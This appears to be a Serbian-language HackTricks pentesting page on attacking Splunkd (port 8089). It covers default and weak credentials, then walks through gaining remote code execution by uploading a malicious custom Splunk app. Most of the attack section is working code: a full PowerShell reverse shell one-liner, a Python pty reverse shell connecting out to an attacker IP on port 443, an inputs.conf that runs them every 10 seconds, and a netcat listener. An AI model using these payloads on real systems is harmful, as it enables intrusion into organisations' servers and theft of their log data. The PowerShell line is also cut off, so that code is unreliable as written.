8.5 KiB
8089 - Pentesting Splunkd
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Osnovne informacije
Splunk je alat za analizu logova koji igra ključnu ulogu u prikupljanju, analizi i vizualizaciji podataka. Iako njegova prvobitna svrha nije bila da služi kao SIEM (alat za upravljanje bezbednosnim informacijama i događajima), stekao je popularnost u oblasti bezbednosnog nadzora i poslovne analitike.
Splunk implementacije se često koriste za skladištenje osetljivih podataka i mogu poslužiti kao vredan izvor informacija za potencijalne napadače ako uspeju da kompromituju sistem. Podrazumevani port: 8089
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
{% hint style="info" %} Splunk web server po defaultu radi na portu 8000. {% endhint %}
Enumeracija
Besplatna verzija
Splunk Enterprise probna verzija se pretvara u besplatnu verziju nakon 60 dana, koja ne zahteva autentifikaciju. Nije neobično da sistemski administratori instaliraju probnu verziju Splunka da bi je testirali, koja je naknadno zaboravljena. Ovo će se automatski pretvoriti u besplatnu verziju koja nema nikakvu formu autentifikacije, uvodeći sigurnosnu rupu u okruženje. Neke organizacije mogu izabrati besplatnu verziju zbog budžetskih ograničenja, ne razumevajući u potpunosti posledice nedostatka upravljanja korisnicima/ulogama.
Podrazumevani kredencijali
Na starijim verzijama Splunka, podrazumevani kredencijali su admin:changeme
, koji su zgodno prikazani na stranici za prijavu.
Međutim, najnovija verzija Splunka postavlja kredencijale tokom procesa instalacije. Ako podrazumevani kredencijali ne rade, vredi proveriti uobičajene slabe lozinke kao što su admin
, Welcome
, Welcome1
, Password123
, itd.
Dobijanje informacija
Jednom kada se prijavimo u Splunk, možemo pregledati podatke, pokrenuti izveštaje, kreirati kontrolne table, instalirati aplikacije iz Splunkbase biblioteke i instalirati prilagođene aplikacije.
Takođe možete pokrenuti kod: Splunk ima više načina za pokretanje koda, kao što su aplikacije na serveru zasnovane na Djangou, REST krajnje tačke, skriptovani ulazi i skripte za upozorenje. Uobičajena metoda za dobijanje daljinskog izvršavanja koda na Splunk serveru je korišćenje skriptovanog ulaza.
Pored toga, kako se Splunk može instalirati na Windows ili Linux hostove, skriptovani ulazi se mogu kreirati za pokretanje Bash, PowerShell ili Batch skripti.
Shodan
Splunk build
RCE
Kreiranje prilagođene aplikacije
Prilagođena aplikacija može pokretati Python, Batch, Bash ili PowerShell skripte.
Napomena: Splunk dolazi sa instaliranim Pythonom, tako da čak i na Windows sistemima možete pokretati python kod.
Možete koristiti ovu Splunk paket da nam pomogne. bin
direktorijum u ovom repozitorijumu ima primere za Python i PowerShell. Prođimo kroz ovo korak po korak.
Da bismo to postigli, prvo treba da kreiramo prilagođenu Splunk aplikaciju koristeći sledeću strukturu direktorijuma:
tree splunk_shell/
splunk_shell/
├── bin
└── default
Direktorija bin
će sadržati sve skripte koje nameravamo da pokrenemo (u ovom slučaju, PowerShell reverzni shell), a podrazumevana direktorija će imati naš inputs.conf
fajl. Naš reverzni shell će biti PowerShell one-liner:
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
Fajl inputs.conf govori Splunk-u koji skript da pokrene i sve druge uslove. Ovde postavljamo aplikaciju kao omogućenu i govorimo Splunk-u da pokrene skript svake 10 sekundi. Interval je uvek u sekundama, a ulaz (skript) će se pokrenuti samo ako je ova postavka prisutna.
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
Potrebna nam je .bat
datoteka, koja će se pokrenuti kada se aplikacija implementira i izvršiti PowerShell jednosmernu komandu.
Sledeći korak je da izaberemo Install app from file
i otpremimo aplikaciju.
Pre nego što otpremimo zlu prilagođenu aplikaciju, hajde da pokrenemo slušalac koristeći Netcat ili socat.
sudo nc -lnvp 443
listening on [any] 443 ...
Na stranici Upload app
, kliknite na browse, izaberite tarball koji smo ranije kreirali i kliknite na Upload
. Čim otpremimo aplikaciju, dobijamo reverse shell jer će status aplikacije automatski biti prebačen na Enabled
.
Linux
Ako bismo se bavili Linux hostom, morali bismo izmeniti rev.py
Python skript pre nego što kreiramo tarball i otpremimo prilagođenu malicioznu aplikaciju. Ostatak procesa bi bio isti, i dobili bismo reverse shell vezu na našem Netcat slušatelju i krenuli u akciju.
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
RCE & Privilege Escalation
Na sledećoj stranici možete pronaći objašnjenje kako se ova usluga može zloupotrebiti za eskalaciju privilegija i dobijanje postojanosti:
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} splunk-lpe-and-persistence.md {% endcontent-ref %}
References
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.